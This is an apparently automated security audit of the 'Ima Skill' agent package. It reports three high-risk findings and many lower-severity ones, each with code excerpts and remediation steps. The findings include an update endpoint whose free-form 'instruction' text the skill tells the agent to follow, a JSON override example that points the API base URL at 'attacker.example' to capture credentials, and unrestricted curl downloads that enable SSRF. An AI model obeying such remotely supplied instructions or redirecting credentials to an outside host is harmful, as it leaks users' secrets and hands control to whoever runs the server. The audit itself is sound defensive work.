Back to skill

Security audit

Ima Skill

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its IMA notes and knowledge-base purpose, but it has under-scoped network and update behavior that could expose credentials or let remote text steer the agent.

Review this skill carefully before installing. Use credentials with the least privileges available, avoid plaintext credential files where possible, do not set IMA_BASE_URL or pass baseUrl unless you fully trust the destination, and avoid importing URLs that could resolve to private or internal network resources.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T01 · Skill Instruction Hijacking

Error
Location
ima_api.cjs:119
Finding
Server-Supplied Update Instructions Can Hijack the Agent Session<![CDATA[ ## Vulnerability Details **File Location**: `ima_api.cjs`, lines 119-133; `SKILL.md`, lines 155-170 **Vulnerability Type**: Remote instructions are presented to the agent as trusted update prompts **Risk Level**: High ### Vulnerable Code ```javascript const latestVersion = (updateResp.data && updateResp.data.latest_version) || ''; const releaseDesc = (updateResp.data && updateResp.data.release_desc) || ''; const instruction = (updateResp.data && updateResp.data.instruction) || ''; if (latestVersion && latestVersion !== skillVersion) { const updateContext = { current_version: skillVersion, latest_version: latestVersion, release_desc: releaseDesc, instruction, checked_at: new Date().toISOString(), }; process.stdout.write(JSON.stringify(updateContext)); const err = new Error('update available'); err.code = ERR_UPDATE_AVAILABLE; err.msg = `发现新版本 skill:${latestVersion}(当前版本:${skillVersion})。${instruction || '请更新。'}`; err.updateContext = updateContext; throw err; } ``` The corresponding skill instructions explicitly tell the agent to act on the returned prompt: ```markdown - `instruction`: update guidance (prompt text) - `-200` (skill update required) - Follow-up: read the update context JSON from stdout, follow its `instruction` prompt to guide the update, and then retry the request. ``` ### Technical Analysis The update endpoint returns an arbitrary `instruction` string. The client places that string in both stdout and the error message without validation, signature verification, sanitization, or separation between untrusted data and executable agent instructions. The skill text then directs the agent to follow the returned prompt. This converts content controlled by the remote update service into an instruction channel capable of changing the agent's behavior after the skill package has been reviewed. No JavaScript `eval` or automatic shell execution occurs in the client itself. Exploitation instead occ ...[truncated 1957 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the free-form `instruction` field from the agent control flow. 2. Treat all update-response text as untrusted display-only data. 3. Return only a strict schema such as: - `latest_version` - `release_desc` - a fixed-domain release identifier or URL 4. Never instruct the agent to follow prompts supplied by an API response. 5. Implement update behavior locally with hardcoded, reviewed steps rather than remotely supplied natural-language commands. 6. Cryptographically sign update metadata and verify the signature against a public key embedded in the reviewed package. 7. Require explicit user confirmation before downloading or installing an update. 8. Pin update downloads to an allowlisted HTTPS origin and verify package hashes or signatures before installation. 9. Ensure update failures do not expose remote text through privileged instruction channels. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
ima_api.cjs:139
Finding
Caller-Controlled Base URL Can Exfiltrate IMA API Credentials<![CDATA[ ## Vulnerability Details **File Location**: `ima_api.cjs`, lines 64-76 and 139-152 **Vulnerability Type**: Unrestricted authentication-endpoint override **Risk Level**: High ### Vulnerable Code ```javascript async function postJson(apiPath, body, requestOptions) { const { clientId, apiKey, skillVersion, baseUrl } = requestOptions; const res = await fetch(`${baseUrl}/${apiPath}`, { method: 'POST', headers: { 'ima-openapi-clientid': clientId, 'ima-openapi-apikey': apiKey, 'ima-openapi-ctx': `skill_version=${skillVersion}`, 'Content-Type': 'application/json', }, body: JSON.stringify(body), }); return await res.text(); } ``` ```javascript async function imaApi(apiPath, body, options = {}) { const forceCheck = options.forceCheck || options.forceUpdateCheck || process.env.IMA_FORCE_UPDATE_CHECK === '1'; const baseUrl = options.baseUrl || process.env.IMA_BASE_URL || DEFAULT_BASE_URL; const lastCheckFile = options.lastCheckFile || process.env.IMA_LAST_CHECK_FILE || DEFAULT_LAST_CHECK_FILE; const { clientId, apiKey } = loadCredentials(options); const skillVersion = loadSkillVersion(options); const requestOptions = { forceCheck, clientId, apiKey, skillVersion, baseUrl, lastCheckFile, }; ``` ### Technical Analysis The project documentation states that the user's Client ID and API key are sent only to `https://ima.qq.com`. The implementation does not enforce that boundary. Both `options.baseUrl` and the `IMA_BASE_URL` environment variable can replace the official origin. `postJson()` then unconditionally attaches the user's Client ID and API key to requests sent to the replacement URL. The command-line interface accepts `options` as caller-provided JSON. Therefore, a value such as the following changes the credential destination: ```json {"baseUrl":"https://attacker.example"} ``` There is no URL-origin allowlist, hostname equality check, HTTPS enforcement, redirect po ...[truncated 1773 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove production support for `options.baseUrl` and `IMA_BASE_URL`. 2. Hardcode and validate the authentication origin as exactly: - scheme: `https:` - hostname: `ima.qq.com` - allowed port: `443` or no explicit port 3. Construct API URLs with the `URL` class and compare their `origin` against a constant allowlist before attaching credentials. 4. Reject usernames, passwords, fragments, nonstandard ports, and malformed paths. 5. Disable redirects for authenticated requests, or validate every redirect destination before forwarding authentication headers. 6. If endpoint overrides are required for tests: - Put them behind an explicit development-only build flag. - Refuse to load real credentials when a custom origin is active. - Require separately supplied test credentials. 7. Do not accept credentials and endpoint overrides in the same untrusted options object. 8. Add automated tests proving that credentials cannot be sent to alternate origins, including redirect and hostname-confusion cases. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
knowledge-base/SKILL.md:190
Finding
Arbitrary URL Download Workflow Enables SSRF and Upload of Retrieved Internal Data<![CDATA[ ## Vulnerability Details **File Location**: `knowledge-base/SKILL.md`, lines 190-204 **Vulnerability Type**: Unrestricted URL fetching with redirect following **Risk Level**: High ### Vulnerable Code ```bash # 1. Probe URL type CONTENT_TYPE=$(curl -sI -L "<url>" | grep -i "^content-type:" | tail -1 | awk '{print $2}' | tr -d '\r') # 2. Download to a temporary directory TEMP_DIR=$(mktemp -d) curl -sL -o "$TEMP_DIR/paper.pdf" "<url>" # 3. preflight-check.cjs ← GATE 1 PREFLIGHT=$(node .claude/skills/ima-skill/knowledge-base/scripts/preflight-check.cjs \ --file "$TEMP_DIR/paper.pdf" --content-type "$CONTENT_TYPE") # pass=false → terminate # 4. Follow the file-upload workflow ``` ### Technical Analysis The skill directs the agent to issue `curl` requests to an arbitrary URL and enables redirect following through `-L`. It does not validate: - The initial URL scheme. - The resolved destination IP address. - Redirect targets. - Loopback, link-local, private, multicast, or reserved address ranges. - DNS rebinding between validation and download. - Access to local management interfaces or cloud metadata endpoints. - Response size before downloading. - Whether the response body actually matches its declared content type. This creates server-side request forgery from the environment in which the agent runs. An attacker can cause the agent to access network resources that are not reachable from the attacker's own system. The subsequent preflight check does not inspect file magic or parse the downloaded file. It trusts a recognized HTTP `Content-Type`, so a private endpoint that returns or can be made to return an allowed type may have its response accepted as a PDF, text document, image, or another supported format. The workflow then uploads the downloaded bytes to COS and associates them with an IMA knowledge base. This can move data from an internal network boundary into cloud storage. ### Attack Path 1. An attacker supplies a URL as part of a requ ...[truncated 1906 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Allow only `https://` URLs unless another scheme is explicitly required and secured. 2. Parse URLs with a robust URL parser rather than shell text processing. 3. Resolve all destination hostnames before requesting them and reject any address in: - Loopback ranges. - Link-local ranges. - RFC1918 private ranges. - IPv6 unique-local ranges. - Multicast and reserved ranges. - Cloud metadata destinations. 4. Revalidate the destination after every redirect and enforce a small redirect limit. 5. Pin DNS resolution for the duration of the request or use an outbound proxy that blocks DNS rebinding and private-network access. 6. Apply an explicit public-domain allowlist when feasible. 7. Set connection, total-time, response-size, and transfer-rate limits. 8. Download through a dedicated sandbox with no access to internal networks or metadata services. 9. Verify downloaded file content using magic-byte detection and format parsing instead of trusting the response `Content-Type` or extension. 10. Require explicit user confirmation before uploading content retrieved from a redirected or different-origin URL. 11. Ensure temporary files are removed in a guaranteed cleanup block on success, failure, and interruption. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (25)

Vague Triggers

High
Confidence
96% confidence
Finding
The activation criteria are extremely broad, including generic phrases like '帮我记一下' and common document/note intents. This can cause the skill to trigger in many unrelated conversations, unnecessarily exposing user content and credentials to a networked skill and creating opportunities for data exfiltration or unintended remote actions.

Lp3

Medium
Category
MCP Least Privilege
Confidence
87% confidence
Finding
The skill declares network and environment-variable capabilities but does not bound them with an explicit tool scope such as permissions or allowed-tools. In practice, this leaves enforcement to prose and increases the chance the agent can access credentials or make unintended outbound calls beyond the intended IMA API flow.

Autonomous Decision Making

Medium
Category
Excessive Agency
Content
1. **UTF-8 encoding (notes writes only):** Before calling `import_doc` or `append_doc`, ALL string fields (`content`, `title`) MUST be validated as legal UTF-8. Non-UTF-8 content causes irreversible garbled text. See [Detailed Rules](#detailed-utf-8-encoding-rules) for platform-specific methods.
2. **File upload naming:** `title` MUST equal `file_name` (with extension). Never rename, shorten, translate, or modify the original filename.
3. **Unsupported file types:** Reject immediately with a clear message. Do NOT ask user "do you still want to try?" Video files, Bilibili/YouTube URLs, and `file://` URLs are not supported — tell user to use IMA desktop client.
4. **File upload integrity:** Keep file content as-is during upload. No encoding conversion for binary files (PDF, images, Excel, etc.).
5. **PowerShell 5.1 (all modules):** If running in PowerShell, detect version before first API call. PS 5.1 silently converts request Body to GBK — must use UTF-8 byte array mode. See [Detailed Rules](#powershell-51-environment-detection).
Confidence
80% confidence
Finding
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Whitespace Padding

Medium
Category
Prompt Injection
Content
## 模块决策表

| 用户意图                                                                                   | 模块           | 读取                      |
| ------------------------------------------------------------------------------------------ | -------------- | ------------------------- |
| 搜索笔记、浏览笔记本、获取笔记内容、创建笔记、追加内容                                     | notes          | `notes/SKILL.md`          |
| 上传文件、添加网页链接、搜索知识库、浏览知识库内容、获取知识库信息、获取可添加的知识库列表 | knowledge-base | `knowledge-base/SKILL.md` |
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Whitespace Padding

Medium
Category
Prompt Injection
Content
## 模块决策表

| 用户意图                                                                                   | 模块           | 读取                      |
| ------------------------------------------------------------------------------------------ | -------------- | ------------------------- |
| 搜索笔记、浏览笔记本、获取笔记内容、创建笔记、追加内容                                     | notes          | `notes/SKILL.md`          |
| 上传文件、添加网页链接、搜索知识库、浏览知识库内容、获取知识库信息、获取可添加的知识库列表 | knowledge-base | `knowledge-base/SKILL.md` |
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Session Persistence

Medium
Category
Rogue Agent
Content
**方式 A — 配置文件(推荐):**

```bash
mkdir -p ~/.config/ima
echo "your_client_id" > ~/.config/ima/client_id
echo "your_api_key" > ~/.config/ima/api_key
```
Confidence
93% confidence
Finding
The skill instructs users to persist long-lived API credentials in plaintext files under ~/.config/ima. Plaintext session or API-secret storage increases the risk of credential theft by other local processes, users, backups, or accidental disclosure, especially since these credentials enable authenticated API access.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The function sends clientId and apiKey in outbound request headers to a remote service, which is a safety-relevant network operation involving credentials. This file contains no confirmation prompt, user-facing log, or inline warning near the transmission to disclose that credentials will be sent over the network.

Description-Behavior Mismatch

Medium
Confidence
94% confidence
Finding
The skill performs an undisclosed network-based self-update check and persists local state in the user's home directory, behavior that is not implied by the note/knowledge-base description. This expands the skill's actual capabilities beyond user expectations and introduces a control path where a remote service can influence execution flow by causing the skill to abort with an update-required condition.

Whitespace Padding

Medium
Category
Prompt Injection
Content
## 接口决策表

| 用户意图                                      | 调用接口                                                               | 关键参数                                                                                           |
| --------------------------------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| 上传文件到知识库                              | `check_repeated_names` → `create_media` → COS Upload → `add_knowledge` | `media_type`(按扩展名),`knowledge_base_id`,`file_name`,`file_size`                            |
| 上传文件到知识库的某个文件夹                  | 先定位文件夹 → 同上(`folder_id` 传入目标文件夹 ID)                   | 见「文件夹操作」章节                                                                               |
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Whitespace Padding

Medium
Category
Prompt Injection
Content
## 接口决策表

| 用户意图                                      | 调用接口                                                               | 关键参数                                                                                           |
| --------------------------------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| 上传文件到知识库                              | `check_repeated_names` → `create_media` → COS Upload → `add_knowledge` | `media_type`(按扩展名),`knowledge_base_id`,`file_name`,`file_size`                            |
| 上传文件到知识库的某个文件夹                  | 先定位文件夹 → 同上(`folder_id` 传入目标文件夹 ID)                   | 见「文件夹操作」章节                                                                               |
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The skill explicitly instructs downloading attacker-controlled external URLs with curl into a local temporary directory and then processing the file through subsequent tooling. Even though the file is later deleted, this still causes untrusted remote content to be fetched onto the local system, creating SSRF-like reachability, malicious file handling, and downstream parser/processing exposure without any documented trust boundary, allowlist, or safety checks on the source URL.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The documentation explicitly instructs callers to send long-lived API credentials (`ima-openapi-clientid`, `ima-openapi-apikey`) and later also describes handling returned access headers for media retrieval, but it provides no warning about treating these values as secrets. In an agent skill context, omission of secret-handling guidance increases the chance that credentials or privileged headers are logged, surfaced to users, or reused insecurely across requests, enabling unauthorized API access or data exposure.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The quick-start workflow normalizes file upload and URL import into a remote knowledge base without any user-consent, privacy, or retention warning. In a skill that may be triggered from vague intents like '帮我记一下' or upload-related requests, this omission can cause users' files, notes, or URLs to be transmitted to third-party infrastructure and stored remotely without clear notice, creating privacy and compliance risk.

Whitespace Padding

Medium
Category
Prompt Injection
Content
| 值  | 名称           | content_type / 说明                                                                                           |
| --- | -------------- | ------------------------------------------------------------------------------------------------------------- |
| 1   | PDF            | `application/pdf`                                                                                             |
| 2   | 网页           | N/A(直接 AddKnowledge,`web_info.content_id=<url>`)                                                         |
| 3   | Word           | `application/msword` / `application/vnd.openxmlformats-officedocument.wordprocessingml.document`              |
| 4   | PPT            | `application/vnd.ms-powerpoint` / `application/vnd.openxmlformats-officedocument.presentationml.presentation` |
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Whitespace Padding

Medium
Category
Prompt Injection
Content
| 9   | 图片           | `image/png`, `image/jpeg`, `image/webp`                                                                       |
| 11  | 笔记           | N/A(直接 AddKnowledge,`note_info.content_id=<doc_id>`)                                                     |
| 12  | AI会话         | N/A(直接 AddKnowledge,`session_info.content_id=<session_id>`)                                              |
| 13  | TXT            | `text/plain`                                                                                                  |
| 14  | Xmind          | `application/x-xmind` / `application/vnd.xmind.workbook` / `application/zip`                                  |
| 15  | 录音           | `audio/mpeg`(mp3), `audio/x-m4a`(m4a), `audio/wav`(wav), `audio/aac`(aac)                                     |
| 16  | 视频解析       | **不支持通过 skill 添加**。Bilibili/YouTube/本地HTML等仅支持在 ima 桌面端内添加进知识库                       |
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Whitespace Padding

Medium
Category
Prompt Injection
Content
#### 返回字段(`data` 内)

| 字段                | 类型            | 说明                                                                                              |
| ------------------- | --------------- | ------------------------------------------------------------------------------------------------- |
| `media_type`        | int32           | 媒体类型(见 MediaType 枚举)                                                                     |
| `url_info`          | URLInfo         | 访问链接信息,非笔记类型时填写(见 [URLInfo](#urlinfo访问链接信息))                              |
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Vague Triggers

Medium
Confidence
92% confidence
Finding
The trigger guidance uses broad phrases like general 'search/find' wording for a privacy-sensitive notes capability, which can cause the agent to invoke the note-search API when the user meant a general conversation or non-note lookup. In this skill context, accidental invocation can expose notebook metadata or private note-derived results unnecessarily, making misrouting more dangerous than in a non-sensitive domain.

Vague Triggers

Medium
Confidence
89% confidence
Finding
The note-listing trigger includes very broad phrases such as 'recent notes' or 'list notes' without sufficient scope constraints, so ordinary organizational requests may be interpreted as permission to enumerate private user data. Because notebook contents are sensitive, overbroad dispatch increases the chance of unintended disclosure of titles, summaries, and folder structure.

Missing User Warnings

Medium
Confidence
87% confidence
Finding
The documentation exposes note creation and modification capabilities but does not require an explicit user warning or confirmation that the action will persist or alter personal data. For a privacy-sensitive notes system, missing write-safety UX increases the risk of unauthorized or accidental storage and modification, especially when combined with broad trigger phrases.

Vague Triggers

Medium
Confidence
92% confidence
Finding
The create/import trigger includes generalized 'save/create' phrasing that can match ordinary assistant tasks, leading the agent to write user data into persistent storage without clear consent. In a notes skill, unintended persistence is a privacy and integrity risk because it may store sensitive content the user only wanted drafted or discussed transiently.

Vague Triggers

Medium
Confidence
91% confidence
Finding
The append trigger is underconstrained and may fire on ordinary editing instructions, causing silent modification of an existing note. In this context, unintended appends can corrupt user records, inject sensitive conversational content into notes, or create auditability problems around what was actually authorized.

Context-Inappropriate Capability

Low
Confidence
74% confidence
Finding
The implementation loads `clientId` and `apiKey` from environment variables and files in `~/.config/ima/`. While authentication may be operationally useful for calling the IMA API, the manifest does not mention credential handling or local secret-file access as part of the skill’s purpose, so this capability is not justified by the stated user-facing scope alone.

Natural-Language Policy Violations

Low
Confidence
95% confidence
Finding
The skill emits Chinese-only natural-language messages such as the missing-credentials error, with similar Chinese strings elsewhere in the file. This imposes a specific language on users without opt-in or locale selection, which matches the language/locale policy violation criterion.

Missing User Warnings

Low
Confidence
87% confidence
Finding
The code creates directories and writes the last update check date to ~/.config/ima/last_update_check, which modifies user state on disk. There is no prompt, log message, or nearby warning indicating that the skill persists this data locally.

Natural-Language Policy Violations

Low
Confidence
84% confidence
Finding
Natural-language policy requires avoiding forced language or locale constraints without user opt-in or clear justification. This skill documentation is entirely Chinese and does not state that the language is optional, user-selected, or limited to a justified region-specific context.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
ima_api.cjs:31